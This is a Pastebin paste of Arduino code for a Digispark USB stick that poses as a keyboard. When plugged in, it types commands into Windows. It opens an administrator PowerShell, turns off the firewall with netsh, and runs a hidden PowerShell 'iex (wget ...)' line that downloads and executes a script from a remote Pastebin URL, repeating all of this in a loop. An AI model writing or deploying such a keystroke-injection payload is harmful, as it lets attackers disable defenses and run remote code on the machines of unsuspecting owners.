Advertisement
Alonnso_888

Digispark_CMD_ADMIN_Comand

Feb 19th, 2019
191
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include "DigiKeyboard.h"
  2. void setup() {
  3.   // Initialize the digital pin as an output.
  4.   pinMode(1, OUTPUT); //LED on Model A
  5. }
  6. void cmd_1() {
  7.   DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT);
  8.   DigiKeyboard.delay(1500);
  9.   DigiKeyboard.print("cmd");
  10.   DigiKeyboard.delay(1500);
  11.   DigiKeyboard.sendKeyStroke(KEY_ENTER, MOD_CONTROL_LEFT | MOD_SHIFT_LEFT);
  12.   DigiKeyboard.delay(1000);
  13.   DigiKeyboard.sendKeyStroke(0);
  14.   DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
  15.   DigiKeyboard.delay(500);
  16.   DigiKeyboard.sendKeyStroke(KEY_ENTER);
  17. }
  18. void cmd_2() {
  19.   DigiKeyboard.sendKeyStroke(0);
  20.   DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  21.   DigiKeyboard.delay(500);
  22.   DigiKeyboard.println("powershell -Command "Start-Process PowerShell -Verb RunAs"");
  23.   DigiKeyboard.delay(1500);
  24.   DigiKeyboard.sendKeyStroke(0);
  25.   DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
  26.   DigiKeyboard.delay(500);
  27.   DigiKeyboard.sendKeyStroke(KEY_ENTER);
  28. }
  29. // Infinite loop
  30. void loop() {
  31.  
  32.   DigiKeyboard.sendKeyStroke(0);
  33.   DigiKeyboard.delay(500);
  34.   digitalWrite(1, HIGH); // LED on <--> Action start
  35. //  cmd_1(); // Open CMD in Administrator Privileges - METHOD 1 (UNCOMMENT TO USE)
  36.   cmd_2(); // Open CMD in Administrator Privileges - METHOD 2 (UNCOMMENT TO USE)
  37.   DigiKeyboard.delay(1500);
  38.   DigiKeyboard.println("MODE CON: COLS=15 LINES=1");
  39. //  DigiKeyboard.delay(250);
  40.   DigiKeyboard.println("netsh advfirewall set all state off"); // Disable firewall
  41.   DigiKeyboard.delay(500);
  42.   DigiKeyboard.sendKeyStroke(KEY_ENTER);
  43.   DigiKeyboard.delay(250);
  44.   DigiKeyboard.println("\"powershell -windowstyle hidden iex (wget https://pastebin.com/raw/PFqrbP7Z)\""); // Create a archive
  45. //  DigiKeyboard.sendKeyStroke(KEY_W, MOD_CONTROL_LEFT); // Save the file and return to cmd shell use delay of 500ms
  46. //  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  47. //  DigiKeyboard.delay(500);
  48.   digitalWrite(1, LOW); // LED off <--> Action end
  49.   DigiKeyboard.delay(5000); // 5 seconds delay to unplug the device safely between loops
  50. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement